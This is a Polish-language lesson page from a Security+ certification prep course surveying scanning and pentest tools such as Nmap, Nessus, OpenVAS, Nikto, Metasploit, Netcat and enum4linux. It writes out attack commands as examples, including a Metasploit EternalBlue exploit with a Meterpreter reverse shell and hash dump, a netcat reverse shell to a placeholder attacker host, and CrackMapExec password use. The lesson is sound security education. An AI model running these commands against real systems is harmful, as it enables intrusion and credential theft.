Cloud & IT Cert Prep · Lekcja

Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap

Zdobędą Państwo praktyczną znajomość standardowych w branży narzędzi do wykrywania hostów, skanowania portów i identyfikowania podatności.

Lekcja 2 z 413 kroki

Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap to bezpłatna lekcja Cloud & IT Cert Prep na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cloud & IT Cert Prep, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cloud & IT Cert Prep zawiera 4 lekcji w sumie.

Ekosystem narzędzi do skanowania

Specjaliści ds. bezpieczeństwa korzystają z różnych narzędzi do skanowania w zależności od celu: wykrywania hostów, skanowania portów, enumeracji usług, wykrywania systemu operacyjnego, identyfikowania podatności oraz testowania aplikacji internetowych. Egzamin Security+ wymaga znajomości najczęściej używanych narzędzi w każdej z tych kategorii. Zrozumienie, co dane narzędzie potrafi — i czego nie potrafi — pomaga wybrać właściwe narzędzie do konkretnego zadania oraz poprawnie interpretować wyniki. Wyniki z kilku uzupełniających się narzędzi zapewniają pełniejsze pokrycie niż wyniki dowolnego pojedynczego narzędzia.

Nmap: Network Mapper

Nmap (Network Mapper) to najczęściej używane narzędzie open source do wykrywania urządzeń w sieci i audytowania bezpieczeństwa. Potrafi wykrywać aktywne hosty, wyliczać otwarte porty, rozpoznawać uruchomione usługi i ich wersje oraz identyfikować system operacyjny. Nmap wykorzystuje różne techniki skanowania, w tym SYN scan (domyślne, szybkie i stosunkowo skryte), TCP Connect (pełne uzgadnianie połączenia, bardziej widoczne, ale niewymagające uprawnień administratora), UDP scan oraz version scan. Narzędzie zawiera Nmap Scripting Engine (NSE), który udostępnia setki skryptów do wykrywania podatności, przeprowadzania ataków brute force i wykorzystywania podatności.

# Common Nmap scan types:
nmap -sS 192.168.1.0/24          # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10            # TCP connect scan
nmap -sU -p 53,67,161 target     # UDP scan specific ports
nmap -sV 192.168.1.10            # version detection
nmap -O 192.168.1.10             # OS detection
nmap -A 192.168.1.10             # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10            # scan all 65535 ports
nmap --script vuln 192.168.1.10  # run vulnerability scripts

Dane wyjściowe Nmap i ich interpretacja

Umiejętność poprawnej interpretacji danych wyjściowych Nmap jest niezbędna. Każdy wiersz reprezentuje port wraz z jego stanem (open: usługa nasłuchuje, closed: host odpowiedział, ale żadna usługa nie nasłuchuje, filtered: brak odpowiedzi lub komunikat ICMP o nieosiągalności, prawdopodobnie z powodu zapory sieciowej), protokołem oraz wykrytą usługą i jej wersją. Otwarte porty stanowią potencjalną powierzchnię ataku. Nieoczekiwane otwarte porty na hoście mogą wskazywać na przejęcie systemu lub nieautoryzowane usługi. Flagi -oN, -oX i -oG zapisują dane wyjściowe odpowiednio w formatach zwykłym, XML i grepable — zapisywanie wyników ma kluczowe znaczenie dla dokumentacji i porównywania skanów wykonywanych w czasie.

# Sample Nmap output:
# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu
# 80/tcp   open  http     Apache 2.4.41
# 443/tcp  open  ssl/http Apache 2.4.41
# 8080/tcp open  http     Jetty 9.4.39
# 3306/tcp open  mysql    MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)

# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xml

Nessus: skaner podatności dla przedsiębiorstw

Nessus (firmy Tenable) to najczęściej wdrażany komercyjny skaner podatności. Wykorzystuje architekturę opartą na wtyczkach, obejmującą ponad 100 000 wtyczek dotyczących CVE, kontroli konfiguracji, wzorców zgodności (CIS, DISA STIG) i wykrywania złośliwego oprogramowania. Nessus wykonuje skanowanie uwierzytelnione, logując się do systemów przy użyciu przekazanych danych uwierzytelniających w celu sprawdzenia zainstalowanych wersji oprogramowania, kluczy rejestru i plików konfiguracyjnych — dzięki czemu wyniki są znacznie dokładniejsze niż w przypadku nieuwierzytelnionego badania sieci. Nessus tworzy szczegółowe raporty zawierające wyniki CVSS, opisy podatności i zalecenia dotyczące działań naprawczych. Bezpłatna wersja Nessus Essentials skanuje do 16 adresów IP.

# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)

# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High     (CVSS 7.0-8.9):  privilege escalation, severe data exposure
# Medium   (CVSS 4.0-6.9):  local privilege escalation, information disclosure
# Low      (CVSS 0.1-3.9):  minimal impact, hardening issues
# Info:    configuration data, no immediate risk

OpenVAS: skanowanie podatności open source

OpenVAS (Open Vulnerability Assessment System) to bezpłatny skaner podatności open source utrzymywany przez Greenbone Networks. Jest rozwijaną przez społeczność gałęzią oryginalnego Nessus, zanim stał się on narzędziem komercyjnym. OpenVAS wykorzystuje NVT (Network Vulnerability Tests), analogiczne do wtyczek Nessus. Greenbone Community Edition (GCE) udostępnia internetowy interfejs zarządzania (Greenbone Security Assistant). OpenVAS jest popularny w środowiskach, w których koszty licencji uniemożliwiają korzystanie z narzędzi komercyjnych. Ma szerszy zestaw funkcji niż Nmap, a jednocześnie pozostaje bezpłatny, dzięki czemu jest często wybierany przez mniejsze organizacje, środowiska akademickie i laboratoria bezpieczeństwa.

# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup    # initial setup (takes time to download feeds)
gvm-start    # start OpenVAS services

# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report

# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."

Nikto: skaner podatności serwerów internetowych

Nikto to skaner serwerów internetowych open source, który sprawdza obecność niebezpiecznych plików, nieaktualne wersje oprogramowania, problemy z konfiguracją serwera oraz typowe podatności aplikacji internetowych. Testuje ponad 6700 znanych problemów, w tym niezabezpieczone metody HTTP, brakujące nagłówki bezpieczeństwa, ujawnione interfejsy administratora, domyślne dane uwierzytelniające i typowe podatności CGI. Nikto generuje dużo ruchu i nie jest przeznaczony do skrytego działania — pozostawia na celu znaczną ilość wpisów w dziennikach. Uzupełnia skanery działające na poziomie sieci, oferując kontrole specyficzne dla sieci WWW, których Nessus i OpenVAS mogą nie obejmować szczegółowo. Narzędzia Nikto należy używać wyłącznie w systemach, do których testowania ma Pan/Pani autoryzację.

# Nikto web scan examples:
nikto -h 192.168.1.10                    # basic scan
nikto -h https://192.168.1.10            # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443      # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html  # save report

# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)

Metasploit Framework

Metasploit Framework to najczęściej używana platforma do testów penetracyjnych, udostępniająca bazę exploitów, payloadów, modułów pomocniczych i narzędzi do działań po uzyskaniu dostępu. Osoby przygotowujące się do egzaminu Security+ powinny rozumieć, czym jest Metasploit i jakie zajmuje miejsce w teście penetracyjnym, nawet jeśli nigdy go nie używały. Moduły Metasploit obejmują: exploity (kod wykorzystujący podatność), payloady (shellcode uruchamiany po pomyślnym wykorzystaniu podatności, na przykład Meterpreter), moduły pomocnicze (skanowanie, fuzzing i enumeracja bez wykorzystywania podatności) oraz moduły post (służące do eskalacji uprawnień, pozyskiwania danych uwierzytelniających i przemieszczania lateralnego po uzyskaniu początkowego dostępu).

# Metasploit Framework basic workflow:
msfconsole                          # start Metasploit
search eternalblue                  # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info                               # show exploit details
set RHOSTS 192.168.1.10            # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5              # attacker IP
run                                # execute exploit

# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump              # dump NTLM hashes

Netcat: szwajcarski scyzoryk

Netcat (nc) to proste, ale wszechstronne narzędzie, które odczytuje i zapisuje dane za pośrednictwem połączeń sieciowych TCP lub UDP. Ma niezliczone zastosowania w obszarze bezpieczeństwa: tworzenie powłok zwrotnych na zaatakowanych hostach, przesyłanie plików między segmentami sieci, skanowanie portów, tworzenie prostych nasłuchujących usług sieciowych do testów oraz pobieranie banerów w celu identyfikowania wersji usług. Jego prostota i dostępność niemal w każdym systemie Linux sprawiają, że jest często używany zarówno w legalnej administracji, jak i w zestawach narzędzi atakujących. Dlatego z punktu widzenia detekcji również jest to ważne narzędzie, które należy rozumieć.

# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22    # grab SSH banner
nc -v 192.168.1.10 80    # grab HTTP banner

# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded

# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash

# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender:   nc receiver_ip 9999 < file.txt

Recon-ng i narzędzia OSINT

Recon-ng to framework do rozpoznania sieciowego w sieci Web, przeznaczony do gromadzenia danych OSINT (Open Source Intelligence). Wykorzystuje moduły odpytujące publiczne źródła — Shodan, Bing, HaveIBeenPwned, rekordy DNS, LinkedIn, WHOIS oraz dzienniki certificate transparency — aby zebrać informacje o celu, zanim rozpocznie się jakiekolwiek aktywne skanowanie. Faza rozpoznania w teście penetracyjnym zwykle rozpoczyna się od OSINT, aby zbudować obraz topologii sieci celu, nazwisk pracowników, formatów adresów e-mail, używanych technologii oraz publicznie dostępnych zasobów. Dobrze przeprowadzone OSINT może ujawnić ścieżki ataku, których znalezienie wyłącznie za pomocą aktywnego skanowania zajęłoby znacznie więcej czasu.

# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com

# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com

# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'

# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin

# 5. Certificate transparency:
crt.sh/?q=%.example.com  (reveals subdomains via certs)

Enumeracja sieci za pomocą Enum4linux

Enum4linux przeprowadza enumerację informacji z hostów Windows i serwerów Samba (Linux SMB), wykorzystując sesje anonimowe oraz MSRPC. Pozyskuje nazwy użytkowników, członkostwo w grupach, udziały, zasady haseł i informacje o grupie roboczej. Podczas wewnętrznych testów penetracyjnych enum4linux może szybko ujawnić konta użytkowników dostępne do password sprayingu oraz strukturę udziałów w środowisku. Nowoczesne wersje systemu Windows domyślnie ograniczają dostęp przez sesje anonimowe, jednak nieprawidłowo skonfigurowane środowiska często ujawniają znaczne ilości informacji. Podobne możliwości zapewniają samrdump.py z Impacket oraz CrackMapExec podczas uwierzytelnionej enumeracji.

# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10       # all enumeration
enum4linux -U 192.168.1.10       # users only
enum4linux -S 192.168.1.10       # shares only

# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares

# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10

Wybór odpowiedniego narzędzia do zadania

Specjaliści ds. bezpieczeństwa dobierają narzędzia do konkretnych zadań. Do wykrywania hostów i skanowania portów: Nmap. Do prowadzonej na dużą skalę identyfikacji podatności: Nessus (komercyjny) lub OpenVAS (bezpłatny). Do podatności serwerów Web: Nikto. Do ataków na aplikacje Web: Burp Suite. Do eksploatacji: Metasploit. Do rozpoznania OSINT: Recon-ng, theHarvester, Shodan. Do analizy ruchu sieciowego: Wireshark, tcpdump. Do ataków na sieci bezprzewodowe: pakiet Aircrack-ng. Egzamin Security+ sprawdza koncepcyjną znajomość tych narzędzi — należy wiedzieć, do czego każde z nich służy, nawet bez praktycznego doświadczenia z każdym z nich.

Szybki test

Sprawdź swoją znajomość zagadnień CompTIA Security+ (SY0-701) omówionych w tej lekcji.

Podsumowanie lekcji

W tej lekcji dowiedzieli się Państwo, że: Nmap stanowi podstawę wykrywania hostów, skanowania portów i wykrywania wersji, a jego rozbudowany silnik skryptowy zapewnia dodatkowe możliwości; Nessus i OpenVAS przeprowadzają kompleksowe skanowanie podatności względem znanych CVE, przy czym największą dokładność zapewnia dostęp uwierzytelniony; natomiast Metasploit udostępnia framework do eksploatacji, który pozwala testerom penetracyjnym potwierdzić, że podatności rzeczywiście można wykorzystać, oraz zademonstrować rzeczywisty wpływ ataku. Następnie omówimy pełny cykl testów penetracyjnych — od rozpoznania po sporządzenie raportu.

Bezpłatny start

Ucz się Cloud & IT Cert Prep dzięki korepetycjom AI — za darmo

Pisz i uruchamiaj kod w przeglądarce, otrzymuj natychmiastową pomoc od korepetytora AI dostępnego 24/7 i kontynuuj naukę w sieci lub w aplikacji.

Kursy
150
Lekcje
600

Często zadawane pytania

Czy lekcja „Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap” jest bezpłatna?

Tak — pełny tekst „Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cloud & IT Cert Prep, przejdź na CoddyKit PRO. Kurs Cloud & IT Cert Prep zawiera 4 lekcji w sumie.

Co nauczysz się w „Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap”?

Zdobędą Państwo praktyczną znajomość standardowych w branży narzędzi do wykrywania hostów, skanowania portów i identyfikowania podatności. Ćwiczysz Cloud & IT Cert Prep z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć Cloud & IT Cert Prep?

Nie wymagamy żadnego doświadczenia. Cloud & IT Cert Prep w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.

Ile czasu zajmuje lekcja „Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji Cloud & IT Cert Prep?

Tak. Każda lekcja Cloud & IT Cert Prep zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Skanowanie podatności a testy penetracyjne
  2. Popularne narzędzia do skanowania: Nessus, OpenVAS, Nmap
  3. Etapy testów penetracyjnych: od rozpoznania do raportu
  4. Ocena CVSS i ustalanie priorytetów podatności
← Powrót do Cloud & IT Cert Prep